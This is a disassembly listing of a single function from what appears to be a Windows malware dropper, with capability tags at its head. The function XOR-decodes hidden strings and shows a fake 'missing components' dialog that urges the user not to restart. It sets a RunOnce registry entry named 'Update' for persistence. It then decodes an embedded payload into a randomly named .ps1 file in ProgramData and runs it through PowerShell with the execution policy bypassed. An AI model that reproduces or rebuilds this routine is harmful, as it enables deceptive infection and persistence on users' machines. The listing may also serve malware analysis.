Function at 0x14001b9e0
Capabilities:
Create process on windows
Encode data using xor
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6c0]
sub rsp, 0x7c0
mov rax, qword [0x1400740c0]
xor rax, rsp
mov qword [rbp + 0x6b0], rax
xor r14d, r14d
mov dword [rsp + 0x34], r14d
call fcn.14001c5d0
mov r9, rax
cmp byte [rax + 0x47], r14b
je 0x14001ba60
mov edx, r14d
movabs r8, 0x89f52b3945a9b135
nop dword [rax + rax]
movzx ecx, dl
and cl, 7
shl cl, 3
mov rax, r8
shr rax, cl
xor byte [rdx + r9], al
inc rdx
cmp rdx, 0x47
jb 0x14001ba40
mov byte [r9 + 0x47], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x170], xmm1
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp byte [r9 + r8], r14b
jne 0x14001ba80
mov rdx, r9
lea rcx, [rbp + 0x160]
call fcn.140002e60
nop
lea rcx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova rcx, qword [rbp + 0x160]
call fcn.140026340
lea rax, [rbp + 0x110]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftNET_Framework_SetupNDP_v4Full
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14001bd8f
mov r9d, 0x40
lea r8, str.Microsoft_Components_Missing
lea rdx, str.Your_computer_is_missing_some_components._Keep_working__but_expect_computer_restart_when_components_are_installed._Do_NOT_restart_computer_manually._Just_click_YES_on_next_prompt_to_allow_it.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov r8d, 0x104
lea rdx, [rbp + 0x290]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
mov r15d, 2
mov r9d, r15d
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14001bb8c
lea rcx, [rbp + 0x290]
mov rax, rbx
nop
lea rax, [rax + 1]
cmp word [rcx + rax*2], 0
jne 0x14001bb50
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x290]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Update
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x70]
call fcn.1400395b0
lea r12, [0x140000000]
lea rax, [r12 + 0x6a4d0]
mov qword [rbp - 0x70], rax
mov qword [rbp + 0x48], r14
mov qword [rbp + 0x50], r14
mov dword [rbp + 0x58], r14d
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x70], xmm1
movdqa xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r14
mov byte [rbp + 0x98], 0
mov dword [rsp + 0x34], 1
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x40], rax
mov dword [rbp + 0x3c], 0x98
mov qword [rbp - 0x68], r14
xor r8d, r8d
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x40]
call fcn.140002ac0
nop
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x70], r13
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x60]
call fcn.14001ae90
nop
mov esi, 4
lea edi, [rsi + 2]
cmp qword [rbp + 0x20], 0
jne 0x14001bcf6
lea edx, [rsi - 3]
lea r8d, [rsi + 0x3c]
lea rcx, str.C:_ProgramData_JJbpO24A57Ogv28iOgRr8Q7e4Kv5iRb08s1mV.ps1
call fcn.14001d3b4
test rax, rax
je 0x14001bcf6
lea r8d, [rsi - 3]
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.14001a9c0
mov rax, qword [rbp]
mov rcx, qword [rax + 8]
mov qword [rsp + 0x40], rcx
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
lea rcx, [rsp + 0x38]
call fcn.14001b0f0
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.14001a850
nop
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14001bcd2
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x14001bcd2
mov r8, qword [rax]
lea edx, [rsi - 3]
mov rcx, rax
call qword [r8]
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov eax, esi
cmp qword [rbp + rcx - 0x28], 0
cmovne eax, r14d
mov dword [rbp + rcx - 0x60], eax
test dword [rbp + rcx - 0x5c], eax
jne 0x14001c436
jmp 0x14001bd21
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov eax, edi
cmp qword [rbp + rcx - 0x28], 0
cmovne eax, r15d
or eax, dword [rbp + rcx - 0x60]
and eax, 0x17
mov dword [rbp + rcx - 0x60], eax
mov edx, dword [rbp + rcx - 0x5c]
and edx, eax
jne 0x14001c4a8
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x60], 6
jne 0x14001be00
mov qword [rbp + rcx - 0x70], r13
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x60]
call fcn.140019f90
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x70], rax
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov rax, rcx
mov dword [rbp + rcx - 0x74], edx
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0x40], rbx
lea rcx, [rbp + 0x40]
call fcn.14001cf5c
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x14001bdd0
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bdcb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c500
call fcn.14001d9e0
mov rcx, qword [rbp + 0x6b0]
xor rcx, rsp
call fcn.14001d9c0
lea r11, [rsp + 0x7c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x180]
call fcn.1400395b0
lea rax, [r12 + 0x6a4c8]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x230], r14
mov qword [rbp + 0x238], r14
mov dword [rbp + 0x240], r14d
mov qword [rbp + 0x248], r14
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x260], xmm1
movdqa xmmword [rbp + 0x270], xmm0
mov byte [rbp + 0x280], 0
mov dword [rsp + 0x34], 5
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x228], rax
mov dword [rbp + 0x224], 0x98
xor r8d, r8d
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x228]
call fcn.140002ac0
nop
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x180], r12
mov rax, qword [rbp + 0x180]
movsxd rdx, dword [rax + 4]
lea r8d, [rdx - 0xa8]
mov dword [rbp + rdx + 0x17c], r8d
lea rcx, [rbp + 0x188]
call fcn.14001ae90
nop
cmp qword [rbp + 0x208], 0
jne 0x14001bf9f
mov r8d, 0x40
mov edx, r15d
lea rcx, str.C:_ProgramData_JJbpO24A57Ogv28iOgRr8Q7e4Kv5iRb08s1mV.ps1
call fcn.14001d3b4
test rax, rax
je 0x14001bf9f
mov r8d, 1
mov rdx, rax
lea rcx, [rbp + 0x188]
call fcn.14001a9c0
mov rax, qword [rbp + 0x1e8]
mov rcx, qword [rax + 8]
mov qword [rsp + 0x40], rcx
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
lea rcx, [rsp + 0x38]
call fcn.14001b0f0
mov rdx, rax
lea rcx, [rbp + 0x188]
call fcn.14001a850
nop
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14001bf71
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x14001bf71
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x1c8], 0
cmovne esi, r14d
mov dword [rbp + rcx + 0x190], esi
test dword [rbp + rcx + 0x194], esi
jne 0x14001c46f
jmp 0x14001bfd9
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
mov eax, edi
cmp qword [rbp + rcx + 0x1c8], 0
cmovne eax, r15d
or eax, dword [rbp + rcx + 0x190]
and eax, 0x17
mov dword [rbp + rcx + 0x190], eax
mov edx, dword [rbp + rcx + 0x194]
and edx, eax
jne 0x14001c506
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x148], xmm1
mov r8d, 5
lea rdx, str._auto
lea rcx, [rbp + 0x138]
call fcn.140002e60
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], r14
mov qword [rbp + 0x130], 0xf
mov byte [rbp + 0x118], 0
mov byte [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.14001c6d0
mov r9, rax
cmp byte [rax + 0x428], 0
je 0x14001c09f
lea rdx, [rax + 1]
mov r8, rbx
sub r8, rax
movabs r10, 0xd517ab779d7d13e5
nop word [rax + rax]
lea ecx, [rdx + r8]
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r9b
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx], al
add rdx, 2
lea rax, [r8 + rdx]
cmp rax, 0x428
jb 0x14001c060
mov byte [r9 + 0x428], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
inc rbx
cmp byte [r9 + rbx], 0
jne 0x14001c0b0
mov r8, rbx
mov rdx, r9
lea rcx, [rsp + 0x38]
call fcn.140002e60
mov rdx, qword [rbp + 0x130]
cmp rdx, 0xf
jbe 0x14001c10b
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c106
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c55e
call fcn.14001d9e0
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rbp + 0x118], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rbp + 0x128], xmm1
lea rdx, [rbp + 0x118]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0x180]
call fcn.140003430
mov rcx, rax
call fcn.140002d60
lea rcx, [rbp + 0x188]
call fcn.14001aac0
test rax, rax
jne 0x14001c1a7
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x1c8], 0
cmovne edi, r15d
or edi, dword [rbp + rcx + 0x190]
and edi, 0x17
mov dword [rbp + rcx + 0x190], edi
mov eax, dword [rbp + rcx + 0x194]
and eax, edi
jne 0x14001c564
mov r8d, 0x104
lea rdx, [rbp + 0x4a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
mov dword [rbp + 0xa0], 0x70
lea rax, str.powershell.exe
mov qword [rbp + 0xb8], rax
lea rax, str._NoProfile__eXeC_byPasS__File_C:ProgramDataJJbpO24A57Ogv28iOgRr8Q7e4Kv5iRb08s1mV.ps1
mov qword [rbp + 0xc0], rax
mov dword [rbp + 0xd0], r14d
mov dword [rbp + 0xa4], 0x40
lea rcx, [rbp + 0xa0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x14001c259
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14001c276
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed_to_start_download_for_components.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rbp + 0x130]
cmp rdx, 0xf
jbe 0x14001c2b7
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c2b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c5b6
call fcn.14001d9e0
mov qword [rbp + 0x128], r14
mov qword [rbp + 0x130], 0xf
mov byte [rbp + 0x118], 0
mov rdx, qword [rbp + 0x150]
cmp rdx, 0xf
jbe 0x14001c312
inc rdx
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c30c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c5bc
call fcn.14001d9e0
nop
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x180], r12
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x17c], edx
lea rcx, [rbp + 0x188]
call fcn.140019f90
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x180], rax
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x17c], edx
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0x228], rbx
lea rcx, [rbp + 0x228]
call fcn.14001cf5c
nop
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r13
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x60]
call fcn.140019f90
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x70], rax
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x74], edx
mov qword [rbp + 0x40], rbx
lea rcx, [rbp + 0x40]
call fcn.14001cf5c
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x14001c429
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c424
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c430
call fcn.14001d9e0
xor eax, eax
jmp 0x14001bdd0
call fcn.1400254cc
nop
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.140001530
mov r8, rax
lea rdx, str.ios_base::badbit_set
lea rcx, [rbp + 0x138]
call fcn.140001d20
lea rdx, [0x140072488]
lea rcx, [rbp + 0x138]
call fcn.14001f97c
nop
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.140001530
mov r8, rax
lea rdx, str.ios_base::badbit_set
lea rcx, [rbp + 0x138]
call fcn.140001d20
lea rdx, [0x140072488]
lea rcx, [rbp + 0x138]
call fcn.14001f97c
nop
test sil, dl
je 0x14001c4b6
lea rbx, str.ios_base::badbit_set
jmp 0x14001c4cb
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x138]
call fcn.140001d20
lea rdx, [0x140072488]
lea rcx, [rbp + 0x138]
call fcn.14001f97c
nop
call fcn.1400254cc
nop
test dl, 4
je 0x14001c514
lea rbx, str.ios_base::badbit_set
jmp 0x14001c529
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x138]
call fcn.140001d20
lea rdx, [0x140072488]
lea rcx, [rbp + 0x138]
call fcn.14001f97c
nop
call fcn.1400254cc
int3
test al, 4
je 0x14001c571
lea rbx, str.ios_base::badbit_set
jmp 0x14001c585
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.140001d20
lea rdx, [0x140072488]
lea rcx, [rsp + 0x58]
call fcn.14001f97c
nop
call fcn.1400254cc
nop
call fcn.1400254cc
int3